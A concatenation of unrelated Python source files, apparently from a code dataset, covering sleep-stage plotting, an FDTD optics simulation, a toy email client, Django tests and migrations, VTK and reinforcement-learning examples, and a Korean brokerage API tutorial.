_defaultdict = {-1: 'A', 0:'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS', 5:'Artefact'}
if set(stages) == set([0, 1]):
labeldict = {0:'Wake', 1:'Sleep'}
elif set(stages) == set([0, 1, 2]):
labeldict = {0:'Wake', 2:'REM', 1:'NREM'}
else:
for stage in _defaultdict:
if stage in stages:
labeldict[stage] = _defaultdict[stage]
if verbose: print('Assuming {}'.format(labeldict))
# check if all stages that are in the hypnogram have a corresponding label in the dict
for stage in np.unique(stages):
if not stage in labeldict:
print('WARNING: {} is in stages, but not in labeldict, stage will be ??'.format(stage))
# create the label order
labels = [labeldict[l] for l in labeldict]
labels = sorted(set(labels), key=labels.index)
# we iterate through the stages and fetch the label for this stage
# then we append the position on the plot of this stage via the labels-dict
x = []
y = []
rem_start = []
rem_end = []
for i in np.arange(len(stages)):
s = stages[i]
label = labeldict.get(s)
if label is None:
p = 99
if '??' not in labels: labels.append('??')
else :
p = -labels.index(label)
# make some red line markers for REM, mark beginning and end of REM
if 'REM' in labels:
if label=='REM' and len(rem_start)==len(rem_end):
rem_start.append(i-2)
elif label!='REM' and len(rem_start)>len(rem_end):
rem_end.append(i-1)
if label=='REM' and i==len(stages)-1:
rem_end.append(i+1)
if i!=0:
y.append(p)
x.append(i-1)
y.append(p)
x.append(i)
assert len(rem_start)==len(rem_end), 'Something went wrong in REM length calculation'
x = np.array(x)*epochlen
y = np.array(y)
y[y==99] = y.min()-1 # make sure Unknown stage is plotted below all else
if ax is None:
plt.figure()
ax = plt.gca()
formatter = matplotlib.ticker.FuncFormatter(lambda s, x: time.strftime('%H:%M', time.gmtime(s)))
ax.plot(x,y, **kwargs)
ax.set_xlim(0, x[-1])
ax.xaxis.set_major_formatter(formatter)
ax.set_yticks(np.arange(len(np.unique(labels)))*-1)
ax.set_yticklabels(labels)
ax.set_xticks(np.arange(0,x[-1],3600))
if xlabel: plt.xlabel('Time after recording start')
if ylabel: plt.ylabel('Sleep Stage')
if title is not None:
plt.title(title)
try:
warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible')
plt.tight_layout()
except Exception: pass
# plot REM in RED here
for start, end in zip(rem_start, rem_end):
height = -labels.index('REM')
ax.hlines(height, start*epochlen, end*epochlen, color='r',
linewidth=4, zorder=99)
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] |
beam_steering.py | Substancia/FDTD-Huygens-metasurface | 0 | 146482 | # import only necessary functions from modules to reduce load
from fdtd_venv import fdtd_mod as fdtd
from numpy import arange, array, where
from matplotlib.pyplot import subplot, plot, xlabel, ylabel, legend, title, suptitle, show, ylim, figure
from scipy.optimize import curve_fit
from os import path
from sys import argv
from time import time
def fit_func(x, a, b, c):
return a*x**2 + b*x + c
start_time = time()
animate = False
run_time = 400
saveStuff = False
results = True
transmit_detectors = 32
# grid
grid = fdtd.Grid(shape=(200, 15.5e-6, 1), grid_spacing=77.5e-9)
if saveStuff:
grid.save_simulation(argv[1] if len(argv) > 1 else None)
# objects
# source
#grid[15, 99, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source1")
grid[15, 100, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source2")
# detectors
#grid[80:200, 80:120, 0] = fdtd.BlockDetector(name="BlockDetector")
#grid[80:200, 100, 0] = fdtd.LineDetector(name="LineDetectorVert")
grid[19, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorIncident")
for i in range(transmit_detectors):
grid[30+5*i, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorEmergent_"+str(30+5*i))
# x boundaries
grid[0:10, :, :] = fdtd.PML(name="pml_xlow")
grid[-10:, :, :] = fdtd.PML(name="pml_xhigh")
# y boundaries
grid[:, 0:10, :] = fdtd.PML(name="pml_ylow")
grid[:, -10:, :] = fdtd.PML(name="pml_yhigh")
# Saving grid geometry
if saveStuff:
with open(path.join("./fdtd_output", grid.folder, "grid.txt"), "w") as f:
f.write(str(grid))
wavelength = 3e8/grid.source.frequency
wavelengthUnits = wavelength/grid.grid_spacing
GD = array([grid.x, grid.y, grid.z])
gridRange = [arange(x/grid.grid_spacing) for x in GD]
objectRange = array([[gridRange[0][x.x], gridRange[1][x.y], gridRange[2][x.z]] for x in grid.objects]).T
f.write("\n\nGrid details (in wavelength scale):")
f.write("\n\tGrid dimensions: ")
f.write(str(GD/wavelength))
f.write("\n\tSource dimensions: ")
f.write(str(array([grid.source.x[-1] - grid.source.x[0] + 1, grid.source.y[-1] - grid.source.y[0] + 1, grid.source.z[-1] - grid.source.z[0] + 1])/wavelengthUnits))
f.write("\n\tObject dimensions: ")
f.write(str([(max(map(max, x)) - min(map(min, x)) + 1)/wavelengthUnits for x in objectRange]))
if animate:
if run_time > 0:
for i in range(run_time):
grid.run(total_time=1)
if saveStuff:
grid.visualize(z=0, animate=True, index=i, save=True, folder=grid.folder)
else:
grid.visualize(z=0, animate=True)
if saveStuff:
grid.generate_video(delete_frames=True)
grid.save_data()
else:
if run_time > 0:
grid.run(total_time=run_time)
if saveStuff:
grid.visualize(z=0, show=True, index=0, save=True, folder=grid.folder)
grid.save_data()
else:
grid.visualize(z=0, show=True)
if results:
phase_profile_incident = []
phase_profile_emergent = [[] for j in range(transmit_detectors)] # number of trasmit side detectors
det_vals_incident = array(grid.detectors[0].detector_values()['E'][-grid.sources[0].period:])
det_vals_emergent = [array(grid.detectors[i].detector_values()['E'][-grid.sources[0].period:]) for i in range(1, len(phase_profile_emergent)+1)]
for i in range(len(grid.detectors[0].x)):
period_phase = grid.sources[0].period - where(det_vals_incident[:, i, 2] == max(det_vals_incident[:, i, 2]))[-1][-1]
phase_profile_incident.append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1)
for j in range(len(phase_profile_emergent)):
period_phase = grid.sources[0].period - where(det_vals_emergent[j][:, i, 2] == max(det_vals_emergent[j][:, i, 2]))[-1][-1]
phase_profile_emergent[j].append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1)
xdata = array([x for x in range(-25, 25)])
#phase_difference = (-array(phase_profile_emergent) + array(phase_profile_incident) + 2*pi)%(2*pi)
#popt, _ = curve_fit(fit_func, xdata, phase_difference)
figure(num="phase_profile")
plot(xdata/grid.sources[0].period, phase_profile_incident, label="Incident phase")
for j in range(len(phase_profile_emergent)):
plot(xdata/grid.sources[0].period, phase_profile_emergent[j], label="Emergent phase"+str(j))
#plot(xdata/grid.sources[0].period, phase_difference, label="Phase difference")
#plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase difference")
for j in range(len(phase_profile_emergent)):
popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j])
plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j))
#print(popt)
xlabel("x/lambda")
ylabel("phase/2pi")
legend()
#title("Curve-fit Phase difference: %5.6f*x**2 + %5.6f*x + %5.6f" % tuple(popt))
show()
figure(num="phase_profile_curve_fit")
for j in range(len(phase_profile_emergent)):
if j%4 == 0:
subplot(2, 4, j/4+1)
title("Detectors %1i to %2i" % tuple([j, j+3]))
xlabel("x/lambda")
ylabel("phase/2pi")
ylim(0, 1)
popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j])
plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j))
print(popt)
#legend()
suptitle("Curve-fiting (Consecutive order of detectors in each plot, blue: 1, orange: 2, green: 3, red: 4)")
show()
figure(num="phase_bent")
plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [detector[len(detector)//2] - detector[0] for detector in phase_profile_emergent], label="Phase profile 'bent'")
plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [0 for x in range(len(phase_profile_emergent))], label="Zero line")
xlabel("detector position")
title("Measure of 'bent' of different phase profiles as difference of phases at mid and at end of each detector")
legend()
show()
end_time = time()
print("Runtime:", end_time-start_time)
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Email.py | maste150hhu/Python-Email-Client | 1 | 148272 | <gh_stars>1-10
import os
from Account import Account
import datetime
#class Email:
# An email consists of sender (send)
# recipient (rec), title, text
#def __init__(self, send, rec, title, text):
# self.send = send
# self.rec = rec
# self.title = title
# self.text = text
# this function will send an email to the recipient
# while writing its content into his inbox-"table"
def send(from_):
try:
name = input("To: ")
path = "Users/" + name + "-inbox" + ".txt"
print(path)
fh = open(path, 'a')
tit = input("Title: ")
text = input("Content: ")
now = datetime.datetime.now()
fh.write(now.strftime("%Y-%m-%d %H:%M") + os.linesep)
fh.write(from_)
fh.write(name + os.linesep)
fh.write(tit + os.linesep)
fh.write(text + os.linesep)
fh.close()
print()
print("Your mail was sent to " + name)
except FileNotFoundError:
print()
print("The username you entered does not exist") | [
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tally_ho/apps/tally/tests/views/data/test_tally_list_view.py | onaio/tally-ho | 12 | 197702 | import json
from django.test import RequestFactory
from tally_ho.apps.tally.views.data import tally_list_view as views
from tally_ho.libs.permissions import groups
from tally_ho.libs.tests.test_base import create_tally, TestBase
class TestTallyListView(TestBase):
"""
Test tally list class base views.
"""
def setUp(self):
self.factory = RequestFactory()
self._create_permission_groups()
self._create_and_login_user()
self._add_user_to_group(self.user, groups.SUPER_ADMINISTRATOR)
def test_tally_list_view(self):
"""
Test that tally list view template is rendered correctly
"""
tally = create_tally()
tally.users.add(self.user)
view = views.TallyListView.as_view()
request = self.factory.get('/')
request.user = self.user
response = view(request)
self.assertContains(response, "Tally List")
self.assertContains(response, "Id")
self.assertContains(response, "Name")
self.assertContains(response, "Creation")
self.assertContains(response, "Last Modification")
self.assertContains(response, "Administration")
self.assertContains(response, "Actions")
def test_tally_list_data_view(self):
"""
Test that tally list data view returns correct data
"""
tally = create_tally()
tally.users.add(self.user)
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
response = view(request)
tally_id, tally_name, created_date, modified_formatted_date,\
admin_view_link, edit_link = json.loads(
response.content.decode())['data'][0]
self.assertEquals(
admin_view_link,
f'<a href="/super-administrator/{tally.id}/"'
' class ="btn btn-default btn-small">Admin View</a>')
self.assertEquals(
edit_link,
f'<a href="/tally-manager/update-tally/{tally.id}/"'
' class ="btn btn-default btn-small">Edit</a>')
self.assertEquals(tally_id, str(tally.id))
self.assertEquals(tally_name, tally.name)
self.assertEquals(created_date, str(tally.created_date))
self.assertEquals(
modified_formatted_date,
tally.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
def test_tally_list_data_view_valid_search_filter(self):
"""
Test that tally list data view returns the correct data
when a valid search filter is applied.
"""
tally_1 = create_tally(name='example_1_tally')
create_tally(name='example_2_tally')
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
request.GET = request.GET.copy()
request.GET['search[value]'] = tally_1.name
response = view(request)
data = json.loads(response.content.decode())['data']
tally_id, tally_name, created_date, modified_formatted_date,\
admin_view_link, edit_link = data[0]
self.assertEquals(1, len(data))
self.assertEquals(
admin_view_link,
f'<a href="/super-administrator/{tally_1.id}/"'
' class ="btn btn-default btn-small">Admin View</a>')
self.assertEquals(
edit_link,
f'<a href="/tally-manager/update-tally/{tally_1.id}/"'
' class ="btn btn-default btn-small">Edit</a>')
self.assertEquals(tally_id, str(tally_1.id))
self.assertEquals(tally_name, tally_1.name)
self.assertEquals(created_date, str(tally_1.created_date))
self.assertEquals(
modified_formatted_date,
tally_1.modified_date.strftime('%a, %d %b %Y %H:%M:%S %Z'))
def test_tally_list_data_view_invalid_search_filter(self):
"""
Test that tally list data view returns no data when an invalid
search filter is applied.
"""
create_tally(name='example_1_tally')
create_tally(name='example_2_tally')
view = views.TallyListDataView.as_view()
request = self.factory.get('/')
request.user = self.user
request.GET = request.GET.copy()
request.GET['search[value]'] = 'Invalid search text'
response = view(request)
json_data = json.loads(response.content.decode())
self.assertListEqual([], json_data['data'])
self.assertEquals(2, json_data['recordsTotal'])
| [
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] |
code/Python/vtk_development/VTK_Example/Widgets/ContourWidget.py | nhyilin/devNotes | 0 | 128844 | #!/usr/bin/python
import vtk
import sys
import math
# Create the RenderWindow, Renderer and both Actors
renderer = vtk.vtkRenderer()
renderWindow = vtk.vtkRenderWindow()
renderWindow.AddRenderer(renderer)
interactor = vtk.vtkRenderWindowInteractor()
interactor.SetRenderWindow(renderWindow)
renderer.SetBackground(0.1, 0.2, 0.4)
renderWindow.SetSize(600, 600)
contourRep = vtk.vtkOrientedGlyphContourRepresentation()
contourRep.GetLinesProperty().SetColor(1, 0, 0) # set color to red
contourWidget = vtk.vtkContourWidget()
contourWidget.SetInteractor(interactor)
contourWidget.SetRepresentation(contourRep)
contourWidget.On()
for arg in sys.argv:
if "-Shift" == arg:
contourWidget.GetEventTranslator().RemoveTranslation(
vtk.vtkCommand.LeftButtonPressEvent)
contourWidget.GetEventTranslator().SetTranslation(
vtk.vtkCommand.LeftButtonPressEvent,
vtk.vtkWidgetEvent.Translate)
elif "-Scale" == arg:
contourWidget.GetEventTranslator().RemoveTranslation(
vtk.vtkCommand.LeftButtonPressEvent)
contourWidget.GetEventTranslator().SetTranslation(
vtk.vtkCommand.LeftButtonPressEvent,
vtk.vtkWidgetEvent.Scale)
pd = vtk.vtkPolyData()
points = vtk.vtkPoints()
lines = vtk.vtkCellArray()
for i in range(0, 21):
angle = 2.0 * math.pi * i / 20.0
points.InsertPoint(i, 0.1 * math.cos(angle),
0.1 * math.sin(angle), 0.0)
lines.InsertNextCell(i)
pd.SetPoints(points)
pd.SetLines(lines)
contourWidget.Initialize(pd, 1)
contourWidget.Render()
renderer.ResetCamera()
renderWindow.Render()
interactor.Initialize()
interactor.Start()
contourWidget.Off()
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] |
playground/pets_dubins.py | pecey/mbrl-lib | 0 | 16788 | <gh_stars>0
import matplotlib as mpl
import matplotlib.pyplot as plt
import numpy as np
import torch
import omegaconf
import mbrl.env.continuous_dubins as dubins_env
import mbrl.env.reward_fns as reward_fns
import mbrl.env.termination_fns as termination_fns
import mbrl.models as models
import mbrl.planning as planning
import mbrl.util.common as common_util
import mbrl.util as util
def train_callback(_model, _total_calls, _epoch, tr_loss, val_score, _best_val):
train_losses.append(tr_loss)
val_scores.append(val_score.mean().item()) # this returns val score per ensemble model
def plot_graph(_axs, _frame, _text, _trial, _steps_trial, _all_rewards, force_update=False):
if not force_update and (_steps_trial % 10 != 0):
return
_axs.clear()
_axs.set_xlim([0, num_trials + .1])
_axs.set_ylim([0, 200])
_axs.set_xlabel("Trial")
_axs.set_ylabel("Trial reward")
_axs.plot(_all_rewards, 'bs-')
_text.set_text(f"Trial {_trial + 1}: {_steps_trial} steps")
if __name__ == "__main__":
mpl.rcParams.update({"font.size": 16})
device = 'cuda:0' if torch.cuda.is_available() else 'cpu'
noisy = False
seed = 0
env = dubins_env.ContinuousDubinsEnv(noisy)
env.seed(seed)
rng = np.random.default_rng(seed=seed)
generator = torch.Generator(device=device)
generator.manual_seed(seed)
obs_shape = env.observation_space.shape
act_shape = env.action_space.shape
# This functions allows the model to evaluate the true rewards given an observation
reward_fn = reward_fns.continuous_dubins
# This function allows the model to know if an observation should make the episode end
term_fn = termination_fns.continuous_dubins
trial_length = 200
num_trials = 10
ensemble_size = 5
# Everything with "???" indicates an option with a missing value.
# Our utility functions will fill in these details using the
# environment information
cfg_dict = {
# dynamics model configuration
"dynamics_model": {
"model": {
"_target_": "mbrl.models.GaussianMLP",
"device": device,
"num_layers": 3,
"ensemble_size": ensemble_size,
"hid_size": 200,
"use_silu": True,
"in_size": "???",
"out_size": "???",
"deterministic": False,
"propagation_method": "fixed_model"
}
},
# options for training the dynamics model
"algorithm": {
"learned_rewards": False,
"target_is_delta": True,
"normalize": True,
},
# these are experiment specific options
"overrides": {
"trial_length": trial_length,
"num_steps": num_trials * trial_length,
"model_batch_size": 32,
"validation_ratio": 0.05
}
}
cfg = omegaconf.OmegaConf.create(cfg_dict)
# Create a 1-D dynamics model for this environment
dynamics_model = common_util.create_one_dim_tr_model(cfg, obs_shape, act_shape)
# Create a gym-like environment to encapsulate the model
model_env = models.ModelEnv(env, dynamics_model, term_fn, reward_fn, generator=generator)
replay_buffer = common_util.create_replay_buffer(cfg, obs_shape, act_shape, rng=rng)
common_util.rollout_agent_trajectories(
env,
trial_length, # initial exploration steps
planning.RandomAgent(env),
{}, # keyword arguments to pass to agent.act()
replay_buffer=replay_buffer,
trial_length=trial_length
)
print("# samples stored", replay_buffer.num_stored)
agent_cfg = omegaconf.OmegaConf.create({
# this class evaluates many trajectories and picks the best one
"_target_": "mbrl.planning.TrajectoryOptimizerAgent",
"planning_horizon": 15,
"replan_freq": 1,
"verbose": False,
"action_lb": "???",
"action_ub": "???",
# this is the optimizer to generate and choose a trajectory
"optimizer_cfg": {
"_target_": "mbrl.planning.CEMOptimizer",
"num_iterations": 5,
"elite_ratio": 0.1,
"population_size": 500,
"alpha": 0.1,
"device": device,
"lower_bound": "???",
"upper_bound": "???",
"return_mean_elites": True
}
})
agent = planning.create_trajectory_optim_agent_for_model(
model_env,
agent_cfg,
num_particles=20
)
train_losses = []
val_scores = []
# Create a trainer for the model
model_trainer = models.ModelTrainer(dynamics_model, optim_lr=1e-3, weight_decay=5e-5)
# Create visualization objects
fig, axs = plt.subplots(1, 1, figsize=(14, 3.75))
ax_text = axs.text(300, 50, "")
# Main PETS loop
all_rewards = [0]
for trial in range(num_trials):
obs = env.reset()
agent.reset()
done = False
total_reward = 0.0
steps_trial = 0
while not done:
# --------------- Model Training -----------------
if steps_trial == 0:
dynamics_model.update_normalizer(replay_buffer.get_all()) # update normalizer stats
dataset_train, dataset_val = replay_buffer.get_iterators(
batch_size=cfg.overrides.model_batch_size,
val_ratio=cfg.overrides.validation_ratio,
train_ensemble=True,
ensemble_size=ensemble_size,
shuffle_each_epoch=True,
bootstrap_permutes=False, # build bootstrap dataset using sampling with replacement
)
model_trainer.train(
dataset_train, dataset_val=dataset_val, num_epochs=50, patience=50, callback=train_callback)
# --- Doing env step using the agent and adding to model dataset ---
next_obs, reward, done, _ = common_util.step_env_and_add_to_buffer(env, obs, agent, {}, replay_buffer)
obs = next_obs
total_reward += reward
steps_trial += 1
if steps_trial == trial_length:
break
all_rewards.append(total_reward)
env.save_trajectory(f"dubins_{trial}.png")
print(all_rewards)
plot_graph(axs, None, ax_text, trial, steps_trial, all_rewards, force_update=True)
# fig.savefig("dubins.png")
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] |
app/migrations/0001_initial.py | Jamesnduge/Hood-Watch | 0 | 138362 | <filename>app/migrations/0001_initial.py
# -*- coding: utf-8 -*-
# Generated by Django 1.11.17 on 2019-03-25 12:12
from __future__ import unicode_literals
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import pyuploadcare.dj.models
import tinymce.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='CustomUser',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('last_login', models.DateTimeField(blank=True, null=True, verbose_name='last login')),
('email', models.EmailField(blank=True, max_length=255, unique=True)),
('username', models.CharField(blank=True, max_length=255, null=True, unique=True)),
('password', models.CharField(max_length=255)),
],
options={
'verbose_name': 'user',
'verbose_name_plural': 'users',
},
),
migrations.CreateModel(
name='Authorities',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('authority_name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='images/')),
('email', models.EmailField(max_length=254)),
('contact', models.IntegerField()),
('authority_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Business',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('business_name', models.CharField(max_length=30, null=True)),
('image', models.ImageField(null=True, upload_to='images/')),
('description', tinymce.models.HTMLField()),
('contact', models.IntegerField()),
('business_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Health',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('health_name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='images/')),
('email', models.EmailField(max_length=254)),
('contact', models.IntegerField()),
('health_email', models.CharField(max_length=200, null=True)),
],
),
migrations.CreateModel(
name='Healthservices',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('healthservices', models.CharField(max_length=100)),
],
),
migrations.CreateModel(
name='Neighbourhood',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100)),
('image', models.ImageField(null=True, upload_to='hoods/')),
('neighbourhood_count', models.IntegerField(blank=True, default=0, null=True)),
],
),
migrations.CreateModel(
name='News',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(max_length=100)),
('notification', tinymce.models.HTMLField()),
('pub_date', models.DateTimeField(auto_now_add=True)),
('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
('neighbourhood_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')),
],
),
migrations.CreateModel(
name='Profile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('prof_pic', pyuploadcare.dj.models.ImageField(blank=True)),
('bio', tinymce.models.HTMLField()),
('neighbourhood', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood')),
],
),
migrations.AddField(
model_name='health',
name='healthservices',
field=models.ManyToManyField(to='app.Healthservices'),
),
migrations.AddField(
model_name='health',
name='neighbourhood_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'),
),
migrations.AddField(
model_name='business',
name='neighbourhood_id',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='neighbourhoodbusiness', to='app.Neighbourhood'),
),
migrations.AddField(
model_name='business',
name='owner',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, related_name='business', to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='authorities',
name='neighbourhood_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.Neighbourhood'),
),
]
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] |
tmapi/models/name.py | ajenhl/django-tmapi | 2 | 44385 | # Copyright 2011 <NAME> (<EMAIL>)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from django.db import models
from tmapi.constants import XSD_ANY_URI, XSD_STRING
from tmapi.exceptions import ModelConstraintException
from construct_fields import ConstructFields
from locator import Locator
from reifiable import Reifiable
from scoped import Scoped
from typed import Typed
from variant import Variant
class Name (ConstructFields, Reifiable, Scoped, Typed):
"""Represents a topic name item."""
topic = models.ForeignKey('Topic', related_name='names')
value = models.TextField()
class Meta:
app_label = 'tmapi'
def create_variant (self, value, scope, datatype=None):
"""Creates a `Variant` of this topic name with the specified
string `value` and `scope`.
If `datatype` is None, the newly created `Variant` will have
the datatype xsd:string.
The newly created `Variant` will contain all themes from the
parent name and the themes specified in `scope`.
:param value: the string value or locator which represents an IRI
:type value: string or `Locator`
:param scope: list of themes
:type scope: list of `Topic`s
:rtype: `Variant`
"""
if value is None:
raise ModelConstraintException(self, 'The value may not be None')
if not scope:
raise ModelConstraintException(self, 'The scope may not be None')
if type(scope) not in (type([]), type(())):
scope = [scope]
if scope == list(self.get_scope()):
raise ModelConstraintException(
self, 'The variant would be in the same scope as the parent')
if datatype is None:
if isinstance(value, Locator):
datatype = Locator(XSD_ANY_URI)
elif isinstance(value, str):
datatype = Locator(XSD_STRING)
if isinstance(value, Locator):
value = value.to_external_form()
variant = Variant(name=self, datatype=datatype.to_external_form(),
value=value, topic_map=self.topic_map)
variant.save()
for theme in scope:
variant.scope.add(theme)
return variant
def get_parent (self, proxy=None):
"""Returns the `Topic` to which this name belongs.
:param proxy: Django proxy model class
:type proxy: class
:rtype: `Topic` or `proxy`
"""
parent = self.topic
if proxy is not None:
parent = proxy.objects.get(pk=parent.id)
return parent
def get_value (self):
"""Returns the value of this name."""
return self.value
def get_variants (self):
"""Returns the variants defined for this name."""
return self.variants.all()
def set_value (self, value):
"""Sets the value of this name. The previous value is overridden."""
if value is None:
raise ModelConstraintException(self, 'The value may not be None')
self.value = value
self.save()
def __unicode__ (self):
return self.value
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migrations/versions/2286baefdbc2_.py | FlyingBird95/covid-19 | 0 | 154466 | """empty message
Revision ID: 2286baefdbc2
Revises: ca9ba145768e
Create Date: 2020-03-26 21:47:03.150005
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '<KEY>'
down_revision = 'ca9ba145768e'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.add_column('locations', sa.Column('country_code', sa.String(length=10), nullable=False))
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_constraint(None, 'locations', type_='unique')
op.drop_column('locations', 'country_code')
# ### end Alembic commands ###
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tutorial/43.py | mssung94/daishin-trading-system | 2 | 5001 | # 대신증권 API
# 데이터 요청 방법 2가지 BlockRequest 와 Request 방식 비교 예제
# 플러스 API 에서 데이터를 요청하는 방법은 크게 2가지가 있습니다
#
# BlockRequest 방식 - 가장 간단하게 데이터 요청해서 수신 가능
# Request 호출 후 Received 이벤트로 수신 받기
#
# 아래는 위 2가지를 비교할 수 있도록 만든 예제 코드입니다
# 일반적인 데이터 요청에는 BlockRequest 방식이 가장 간단합니다
# 다만, BlockRequest 함수 내에서도 동일 하게 메시지펌핑을 하고 있어 해당 통신이 마치기 전에 실시간 시세를 수신 받거나
# 다른 이벤트에 의해 재귀 호출 되는 문제가 있을 경우 함수 호출이 실패할 수 있습니다
# 복잡한 실시간 시세 수신 중에 통신을 해야 하는 경우에는 Request 방식을 이용해야 합니다.
import pythoncom
from PyQt5.QtWidgets import *
import win32com.client
import win32event
g_objCodeMgr = win32com.client.Dispatch('CpUtil.CpCodeMgr')
StopEvent = win32event.CreateEvent(None, 0, 0, None)
class CpEvent:
def set_params(self, client, name, caller):
self.client = client # CP 실시간 통신 object
self.name = name # 서비스가 다른 이벤트를 구분하기 위한 이름
self.caller = caller # callback 을 위해 보관
def OnReceived(self):
# 실시간 처리 - 현재가 주문 체결
if self.name == 'stockmst':
print('recieved')
win32event.SetEvent(StopEvent)
return
class CpCurReply:
def __init__(self, objEvent):
self.name = "stockmst"
self.obj = objEvent
def Subscribe(self):
handler = win32com.client.WithEvents(self.obj, CpEvent)
handler.set_params(self.obj, self.name, None)
def MessagePump(timeout):
waitables = [StopEvent]
while 1:
rc = win32event.MsgWaitForMultipleObjects(
waitables,
0, # Wait for all = false, so it waits for anyone
timeout, # (or win32event.INFINITE)
win32event.QS_ALLEVENTS) # Accepts all input
if rc == win32event.WAIT_OBJECT_0:
# Our first event listed, the StopEvent, was triggered, so we must exit
print('stop event')
break
elif rc == win32event.WAIT_OBJECT_0 + len(waitables):
# A windows message is waiting - take care of it. (Don't ask me
# why a WAIT_OBJECT_MSG isn't defined < WAIT_OBJECT_0...!).
# This message-serving MUST be done for COM, DDE, and other
# Windowsy things to work properly!
print('pump')
if pythoncom.PumpWaitingMessages():
break # we received a wm_quit message
elif rc == win32event.WAIT_TIMEOUT:
print('timeout')
return
pass
else:
print('exception')
raise RuntimeError("unexpected win32wait return value")
code = 'A005930'
##############################################################
# 1. BlockRequest
print('#####################################')
objStockMst = win32com.client.Dispatch("DsCbo1.StockMst")
objStockMst.SetInputValue(0, code)
objStockMst.BlockRequest()
print('BlockRequest 로 수신 받은 데이터')
item = {}
item['종목명'] = g_objCodeMgr.CodeToName(code)
item['현재가'] = objStockMst.GetHeaderValue(11) # 종가
item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비
print(item)
print('')
##############################################################
# 2. Request ==> 메시지 펌프 ==> OnReceived 이벤트 수신
print('#####################################')
objReply = CpCurReply(objStockMst)
objReply.Subscribe()
code = 'A005930'
objStockMst.SetInputValue(0, code)
objStockMst.Request()
MessagePump(10000)
item = {}
item['종목명'] = g_objCodeMgr.CodeToName(code)
item['현재가'] = objStockMst.GetHeaderValue(11) # 종가
item['대비'] = objStockMst.GetHeaderValue(12) # 전일대비
print(item)
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tests/__init__.py | cmsteffen-code/steffentools | 0 | 191245 | <reponame>cmsteffen-code/steffentools<gh_stars>0
"""SteffenTools Tests Module."""
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dsa/patterns/topological_sort.py/reconstructing_a_sequence.py | bksahu/dsa | 0 | 196566 | """
Given a sequence originalSeq and an array of sequences, write a method to find if originalSeq can be uniquely
reconstructed from the array of sequences.
Unique reconstruction means that we need to find if originalSeq is the only sequence such that all sequences in
the array are subsequences of it.
Example 1:
Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [3, 4]]
Output: true
Explanation: The sequences [1, 2], [2, 3], and [3, 4] can uniquely reconstruct
[1, 2, 3, 4], in other words, all the given sequences uniquely define the order of numbers
in the 'originalSeq'.
Example 2:
Input: originalSeq: [1, 2, 3, 4], seqs: [[1, 2], [2, 3], [2, 4]]
Output: false
Explanation: The sequences [1, 2], [2, 3], and [2, 4] cannot uniquely reconstruct
[1, 2, 3, 4]. There are two possible sequences we can construct from the given sequences:
1) [1, 2, 3, 4]
2) [1, 2, 4, 3]
Example 3:
Input: originalSeq: [3, 1, 4, 2, 5], seqs: [[3, 1, 5], [1, 4, 2, 5]]
Output: true
Explanation: The sequences [3, 1, 5] and [1, 4, 2, 5] can uniquely reconstruct
[3, 1, 4, 2, 5].
"""
